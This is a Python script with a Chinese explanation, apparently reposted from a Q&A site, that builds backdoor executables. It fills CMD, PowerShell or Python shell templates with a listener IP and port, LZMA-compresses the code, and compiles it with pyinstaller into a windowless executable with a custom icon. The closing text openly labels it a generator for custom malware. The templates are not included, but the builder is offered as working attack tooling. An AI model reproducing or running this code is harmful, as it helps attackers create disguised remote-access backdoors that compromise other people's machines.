import os.path
from pathlib import Path
from string import Template

from pyminifier.compression import lzma_pack
from pyminifier.token_utils import listified_tokenizer, untokenize

from utils import stdOutput




def build(ip, port, output=None, icon=None, payload='POWERSHELL'):
    print(stdOutput('info') + '开始构建载荷:' + payload)
    temp_path = 'dist'
    module = Path(os.getcwd()).parent
    py = os.path.join(module, temp_path, 'shell.py')
    if output is None:
        output = os.path.join(module, temp_path)
    if icon is None:
        icon = os.path.join(module, 'favicon.ico')
    if not os.path.exists(temp_path):
        os.mkdir(temp_path)
    if payload == 'CMD':
        tmpl = 'cmdshell/default.tmpl'
    elif payload == 'POWERSHELL':
        tmpl = 'powershell/default.tmpl'
    elif payload == 'PYTHON':
        tmpl = 'python/default.tmpl'
    else:
        print(stdOutput('error') + '未知载荷类型:' + payload)
        return
    tmpl = os.path.join(module, tmpl)
    if not os.path.exists(tmpl):
        print(stdOutput('error') + '构建失败,tmpl文件缺失!!!')
        return
    with open(tmpl, 'r') as temp:
        code = []
        tmpl = Template(temp.read())
        code.append(tmpl.substitute(ip=ip, port=port))
    with open(py, 'w') as pyfile:
        pyfile.writelines(code)
    lzmamini(py)
    r = os.system('pyinstaller -F -w {0} --distpath {1} -i {2}'.format(py, output, icon))
    if r == 1:
        print(stdOutput('error') + '载荷生成失败,请检查是否安装pyinstaller')
    print(stdOutput('success') + '载荷生成成功保存路径=>{}'.format(output))


def lzmamini(pyfile: str):
    with open(pyfile, 'r') as py:
        source = py.read()
        tokens = listified_tokenizer(source)
        result = untokenize(tokens)
    with open(pyfile, 'w') as pymin:
        pymin.write(lzma_pack(result))




if __name__ == '__main__':
    build('127.0.0.1', '8082')

解释内容:

本模块实现了一个用于构建Python后门的函数,函数名为build,接收四个参数:ip、port、output和icon,其中ip和port用于指定监听的IP地址和端口号,output用于指定生成的后门文件的输出路径,icon用于指定后门文件的图标。

函数首先会检查是否有dist文件夹,如果没有则会创建一个。然后根据传入的payload参数选择对应的模板文件,生成后门代码并保存到shell.py文件中。接着调用lzmamini函数对shell.py文件进行压缩,最后调用pyinstaller生成可执行文件。

lzmamini函数用于对源代码进行压缩,使用的是LZMA算法。

Python后门生成器:构建自定义恶意软件

原文地址: https://www.cveoy.top/t/topic/lxgA 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录